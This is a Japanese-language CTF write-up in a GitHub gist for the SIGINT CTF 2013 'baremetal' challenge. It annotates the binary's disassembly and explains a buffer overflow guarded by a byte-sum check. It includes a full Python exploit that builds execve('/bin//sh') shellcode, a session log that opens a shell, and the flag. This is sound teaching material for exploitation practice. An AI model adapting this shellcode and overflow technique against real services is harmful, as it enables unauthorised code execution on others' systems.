Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Created December 3, 2015 16:46
Show Gist options
  • Save hhc0null/71797e96bd68f8d57f83 to your computer and use it in GitHub Desktop.
Save hhc0null/71797e96bd68f8d57f83 to your computer and use it in GitHub Desktop.
A writeup for "SIGINT CTF 2013 pwnable100 baremetal"

A writeup for "SIGINT CTF 2013 pwnable100 baremetal"

これはCTF Advent Calendar 2015の3日目の記事です. 簡単な説明で終わってしまってるのでそのうち追記するかもです.

SIGINT CTF 2013 pwnable100 baremetal

Okay, okay. It's not baremetal...

Running on: 188.40.147.100 1024 2b2ec84ea812c9730a244b44a2549fcb

 問題ファイルはここにあります -> 2b2ec84ea812c9730a244b44a2549fcb
(ローカルで解くことを考えるので, socatなどを利用してサービスを立ててください)

 さて, まずは下調べをしてみましょう.

$ file baremetal
baremetal: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ checksec --file baremetal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   baremetal

NXが有効な普通のx86 ELFみたいですねー. とりあえず逆アセンブルしてみましょう. ボクはobjdumpを使ってるのでそれを示しますが, IDAでもndisasmでもご自由にです.

baremetal:     file format elf32-i386


Disassembly of section .text:

08048080 <.text>:
; write(STDOUT_FILENO, "baremetal online\n", strlen("baremetal online\n"));
 8048080:	68 98 91 04 08       	push   $0x8049198
 8048085:	e8 b1 00 00 00       	call   0x804813b
 804808a:	e9 cd 00 00 00       	jmp    0x804815c
 804808f:	50                   	push   %eax
 8048090:	68 98 91 04 08       	push   $0x8049198
 8048095:	e8 a1 00 00 00       	call   0x804813b
 804809a:	e9 aa 00 00 00       	jmp    0x8048149

; bss_8049204にこのプログラムでのsemantics的にretとなるような命令を入れる
 804809f:	8d 05 04 92 04 08    	lea    0x8049204,%eax
 80480a5:	c7 00 47 47 ff e7    	movl   $0xe7ff4747,(%eax) ; inc edi ; inc edi ; jmp *edi ;

; read(STDIN_FILENO, bss_80491c8, 0x3d); // VULN: BOF
 80480ab:	6a 3d                	push   $0x3d
 80480ad:	68 c8 91 04 08       	push   $0x80491c8
 80480b2:	e8 84 00 00 00       	call   0x804813b
 80480b7:	e9 b3 00 00 00       	jmp    0x804816f

; 入力のサイズが0x20より大きくなければにゃーん 
 80480bc:	68 c8 91 04 08       	push   $0x80491c8
 80480c1:	e8 75 00 00 00       	call   0x804813b
 80480c6:	e9 91 00 00 00       	jmp    0x804815c
 80480cb:	83 f8 20             	cmp    $0x20,%eax
 80480ce:	7e 46                	jle    0x8048116 ; にゃーん
 80480d0:	68 c8 91 04 08       	push   $0x80491c8
 80480d5:	e8 61 00 00 00       	call   0x804813b
 80480da:	e9 a0 00 00 00       	jmp    0x804817f
; 読み込まれたバイト列の総和が0x1ee7(L33t)でない場合はにゃーん
 80480df:	81 fb e7 1e 00 00    	cmp    $0x1ee7,%ebx
 80480e5:	75 2f                	jne    0x8048116 ; にゃーん

; 最初の4byteが0でなければbss_8049204へjmp
 80480e7:	8d 0d 04 92 04 08    	lea    0x8049204,%ecx
 80480ed:	0f b6 19             	movzbl (%ecx),%ebx
 80480f0:	85 db                	test   %ebx,%ebx
 80480f2:	74 07                	je     0x80480fb
 80480f4:	e8 42 00 00 00       	call   0x804813b
 80480f9:	ff e1                	jmp    *%ecx
 80480fb:	68 aa 91 04 08       	push   $0x80491aa
 8048100:	e8 36 00 00 00       	call   0x804813b
 8048105:	eb 55                	jmp    0x804815c

; write(STDOUT_FILENO, "Sequence OK.\n", strlen("Sequence OK.\n"));
 8048107:	50                   	push   %eax
 8048108:	68 aa 91 04 08       	push   $0x80491aa
 804810d:	e8 29 00 00 00       	call   0x804813b
 8048112:	eb 35                	jmp    0x8048149
 8048114:	eb 19                	jmp    0x804812f ; 

; write(STDOUT_FILENO, "Bad Sequence\n", strlen("Bad Sequence\n"));
 8048116:	68 b7 91 04 08       	push   $0x80491b7
 804811b:	e8 1b 00 00 00       	call   0x804813b
 8048120:	eb 3a                	jmp    0x804815c
 8048122:	50                   	push   %eax
 8048123:	68 b7 91 04 08       	push   $0x80491b7
 8048128:	e8 0e 00 00 00       	call   0x804813b
 804812d:	eb 1a                	jmp    0x8048149
 804812f:	b8 01 00 00 00       	mov    $0x1,%eax
 8048134:	bb 00 00 00 00       	mov    $0x0,%ebx
 8048139:	cd 80                	int    $0x80

; ediにreturn addressを入れて戻る
 804813b:	5f                   	pop    %edi
 804813c:	ff e7                	jmp    *%edi

; '\0'に出会うまでポインタを進める(jmpは'\0'が並ぶので自ずと次の命令になる)
 804813e:	8b 0f                	mov    (%edi),%ecx
 8048140:	84 c9                	test   %cl,%cl
 8048142:	75 03                	jne    0x8048147
 8048144:	47                   	inc    %edi
 8048145:	eb f7                	jmp    0x804813e
 8048147:	ff e7                	jmp    *%edi


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;; 関数群
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; write
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 8048149:	b8 04 00 00 00       	mov    $0x4,%eax
 804814e:	bb 01 00 00 00       	mov    $0x1,%ebx
 8048153:	59                   	pop    %ecx
 8048154:	5a                   	pop    %edx
 8048155:	cd 80                	int    $0x80
 8048157:	83 c7 02             	add    $0x2,%edi
 804815a:	eb e2                	jmp    0x804813e

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; strlen, '\0'のチェックがある
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 804815c:	31 c0                	xor    %eax,%eax
 804815e:	5b                   	pop    %ebx
 804815f:	0f b6 0b             	movzbl (%ebx),%ecx
 8048162:	84 c9                	test   %cl,%cl
 8048164:	74 04                	je     0x804816a
 8048166:	40                   	inc    %eax
 8048167:	43                   	inc    %ebx
 8048168:	eb f5                	jmp    0x804815f
 804816a:	83 c7 02             	add    $0x2,%edi
 804816d:	eb cf                	jmp    0x804813e

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; read
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 804816f:	b8 03 00 00 00       	mov    $0x3,%eax
 8048174:	31 db                	xor    %ebx,%ebx
 8048176:	59                   	pop    %ecx
 8048177:	5a                   	pop    %edx
 8048178:	cd 80                	int    $0x80
 804817a:	83 c7 02             	add    $0x2,%edi
 804817d:	eb bf                	jmp    0x804813e

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; sum, '\0'のチェックがある 
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
 804817f:	58                   	pop    %eax
 8048180:	31 db                	xor    %ebx,%ebx
 8048182:	31 c9                	xor    %ecx,%ecx
 8048184:	8d 14 08             	lea    (%eax,%ecx,1),%edx
 8048187:	0f b6 12             	movzbl (%edx),%edx
 804818a:	84 d2                	test   %dl,%dl
 804818c:	74 05                	je     0x8048193
 804818e:	01 d3                	add    %edx,%ebx
 8048190:	41                   	inc    %ecx
 8048191:	eb f1                	jmp    0x8048184
 8048193:	83 c7 02             	add    $0x2,%edi
 8048196:	eb a6                	jmp    0x804813e

どうやら, このプログラムにはmainが存在しないらしいですね. また, libcも利用しておらずsystem callだけで完結しているみたいです.
題名のbaremetalというのはこれを意図してのものでしょう. 「Linuxの機能を使ってるんだからbaremetalじゃないじゃん」は言っちゃダメです.

特筆すべき点としては:

  • 入力でoverflowが起きる.
  • 入力されたバイト列について以下のチェックが行われる.
    • チェック0: バイト列が0x20 byte以上か?
      • ただし, overflowを起こすためには0x39 byte以上の入力が必要になるので考慮しなくてよい.
    • チェック1: バイト列の総和が0x1ee7か?
    • チェック2: 上書きされたbss_8049204が0でないか?
  • bss_8049204の先頭は'inc edi ; inc edi ; jmp *edi ; 'が配置されている.
    • プログラム上ではretの役目を果たす.

したがって, ここで考えるべきことは
「バイト列の総和を0x1ee7にしつつ, bss_8049204の最初4 byteを書き換えて任意のコードを実行させる」
である.

 以上を踏まえると次のようなコードで実現できます. (コード, もっと綺麗に出来ると思いますがほとんど解いた時のままなので残念なカンジです. 特にpadの計算のあたりとか……)

#!/usr/bin/env python2

import hashlib
import socket
import string
import struct
import subprocess
import telnetlib


def read_until(f, delim='\n'):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data

def connect(rhp=("localhost", 1024)):
    s = socket.create_connection(rhp)
    f = s.makefile('rw', bufsize=0)
    return s, f

def interact(s):
    t = telnetlib.Telnet()
    t.sock = s

    print "[+] 4ll y0U n33D 15 5h3ll!!"
    t.interact()

def p(x, t="<I"):
    return struct.pack(t, x)

def u(x, t="<I"):
    return struct.unpack(t, x)[0]

def unsigned(x):
    return u(p(x, t="<i"), t="<I")

def gen_shellcode(source, bits=32):
    source = "".join([
        "BITS %d\n"%(bits),
        source,
        ])
    filename = hashlib.md5(source).hexdigest()
    with open("/tmp/%s.s"%(filename), "wb") as f:
        f.write(source)
    subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
    with open("/tmp/%s"%filename, "rb") as f:
        shellcode = f.read()
    return filename, shellcode

def message(message_type, message_body, value=None):
    text = ""
    if value:
        text = "[{}] {}: 0x{:08x}".format(message_type, message_body, value)
    else:
        text = "[{}] {}".format(message_type, message_body)
    print text

mysum = lambda sequence: sum(map(ord, sequence))

filename, shellcode = gen_shellcode("""
        ; will be placed a skipped byte.
        xor     ecx, ecx
        mul     ecx
        push    ecx
        push    "//sh"
        push    "/bin"
        mov     ebx, esp
        add     al, 0xb
        int     0x80
        """)
message('-', "shellcode(%s: %dbytes): %s"%(filename, len(shellcode), repr(shellcode)))

_, reserved = gen_shellcode("xchg   edi, eax")
footer = "\x47\xff\xe7"

diff = 0x1ee7 - mysum(shellcode + reserved + footer)
distance = 0x3d - len(shellcode + reserved) - 1
pad = diff // distance

assert pad < 0x100
message('+', "the pad byte: %s"%repr(chr(pad)))

payload = ''.join((
    chr(0x1ee7 - mysum(''.join((
        shellcode, chr(pad)*distance, reserved, footer,
        )))),
    shellcode,
    chr(pad) * distance,
    reserved,
    #footer,
    ))

message('+', "payload(%dbytes): %s"%(len(payload), repr(payload)))
message('+', "the sum of payload", mysum(payload+footer))

assert mysum(payload+footer) == 0x1ee7
assert len(payload) == 0x3d

#rhp = ("188.40.147.100", 1024)
s, f = connect()
read_until(f)

f.write(payload)
interact(s)

ここで, text_804817fにおいてeaxにはpayloadのbase addressがあるということを利用している. ようするに,

inc     edi
inc     edi
jmp     *edi

から,

xchg    edi, eax ; eax == baseaddr
jmp     *edi

としているわけである. あとは, bss_80491c8からshellcodeが来るように調整すればシェルが降ってくる.

pwn

 ご確認ください.

$ ./exploit.py
[+] shellcode(dd5729fc9b810fab92a87fdbbecd080b: 21bytes): '1\xc9\xf7\xe1Qh//shh/bin\x89\xe3\x04\x0b\xcd\x80'
[-] the pad byte: '~'
[-] payload(61bytes): '\x131\xc9\xf7\xe1Qh//shh/bin\x89\xe3\x04\x0b\xcd\x80~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\x97'
[+] the sum of payload: 0x00001ee7
[+] 4ll y0U n33D 15 5h3ll!!

id
uid=1000(hhc0null) gid=1000(hhc0null) groups=1000(hhc0null)

ls
baremetal
dir
flag.txt
q

cat flag.txt
SIGINT_are_you_getting_warmed_up?

See_Ya; exit
*** Connection closed by remote host ***

余裕をもって記事を書きましょう.

 明日からHITCONです. 起床チャレンジがんばります. おやすみなさい〜〜〜

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment